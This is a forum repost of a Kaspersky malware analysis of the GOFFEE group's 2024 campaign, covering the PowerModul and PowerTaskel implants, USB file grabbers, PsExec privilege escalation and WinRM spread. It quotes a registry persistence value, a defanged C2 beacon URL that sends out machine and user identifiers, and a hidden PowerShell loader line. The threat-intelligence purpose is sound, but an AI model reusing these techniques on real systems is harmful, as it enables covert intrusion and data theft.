Announcement

Collapse
No announcement yet.

Research + Usecase

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • Research + Usecase

    Kaspersky researchers analyze GOFFEE’s campaign in H2 2024: the updated infection scheme, new PowerModul implant, switch to a binary Mythic agent.



    an HTA and a PowerShell file, and writes the HTA into the registry using the “LOAD” registry value of the “HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows” registry key.

    Code:
    HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
    "LOAD"="C:\Users\<USER_NAME>\UserCache.ini.hta"​

    When accessing the C2, PowerModul appends an infected system identifier string to the C2 URL, consisting of the computer name, username, and disk serial number, separated with underscores:


    Code:
    hxxp://62.113.114[.]117/api/texts/{computer_name}_{username}_{serial_number}
    The response from the C2 is in XML format, complete with scripts encoded in Base64:

    Click image for larger version  Name:	image.png Views:	0 Size:	105.6 KB ID:	32

    FlashFileGrabberOffline searches removable media for files with specific extensions, and when found, copies them to the local disk. To accomplish this, it creates a series of subdirectories in the TEMP folder, following the template “%TEMP%\CacheStore\connect\<VolumeSerialNumber>\”. The folder names “CacheStore” and “connect” are hardcoded within the script. Examples of such paths are provided below

    Code:
    %TEMP%\CacheStore\connect\62431103\2024\some.pdf
    %TEMP%\CacheStore\connect\62431103\Documents\some.docx
    %TEMP%\CacheStore\connect\62431103\attachment.jpg
    %TEMP%\CacheStore\connect\6c1d1372\Print\resume.docx​

    Additionally, a file named “ftree.db” is created at the path specified in the template, which stores metadata for the copied files, including the full path to the original file, its size, and dates of last access and modification. Furthermore, in the “%AppData%” folder, the “internal_profiles.db” file is created, storing the MD5 sums of the aforementioned metadata. This allows the malware to avoid copying the same files more than once:


    Code:
    %TEMP%\CacheStore\connect\<VolumeSerialNumber>\ftree.db
    %AppData%\internal_profiles.db​

    Example of the contents of a malicious VBS


    Code:
    powershell -exec bypass -windowstyle hidden -nop -c "$raw= [io.file]::ReadAllText(""".\UserCache.ini"""); iex $raw;"
    To disguise the shortcut, the worm assigns an icon from the shell32.dll library, depending on the extension of the original file.


    In at least one instance, PowerTaskel received a script containing a FolderFileGrabber component as a task. FolderFileGrabber largely replicates the functionality of FlashFileGrabber, with one key difference: it can grab files from remote systems via a hardcoded network path using the SMB protocol. The PowerShell cmdlet “New-SmbMapping” is used to access remote system resources, enabling successful retrieval of the desired files.


    Following system infection, if the user account permissions allow it, PowerTaskel performs several tasks to elevate its privileges to the System level. To achieve this, PowerTaskel utilizes the PsExec utility, which is part of the Sysinternals suite. The PsExec utility is dropped into the current directory where PowerTaskel is located and is used to execute mshta.exe with system privileges, passing a URL as an argument.

    The images below depict two tasks that PowerTaskel executes with its C2 server. The first task checks for the presence of the file “ntuser.exe” in the %ProgramData% directory, and if it is not found, downloads it from the C2 server. The second task runs mshta.exe via ntuser.exe, which is actually a renamed PsExec utility.

    The “ntuser.exe” executable running “mshta.exe”


    Click image for larger version  Name:	image.png Views:	0 Size:	50.2 KB ID:	33



    Example of execution flow on an infected system:

    Click image for larger version  Name:	image.png Views:	0 Size:	112.3 KB ID:	34


    The final line of the execution flow (“hxxp://192.168.1[.]2:5985/wsman”) reveals a call to the WinRM (Microsoft Windows Remote Management) service, located on a remote host on the local network, via the loaded Mythic agent. A specific User-Agent header value, “Ruby WinRM Client”, is used to access the WinRM service.


    Click image for larger version  Name:	image.png Views:	0 Size:	46.2 KB ID:	35


    THe WinRM service is actively utilized by GOFFEE for network distribution purposes.

    Click image for larger version  Name:	image.png Views:	0 Size:	107.8 KB ID:	36

    Attached Files
    Last edited by Admin; 05-06-2025, 12:18 PM.
Working...
X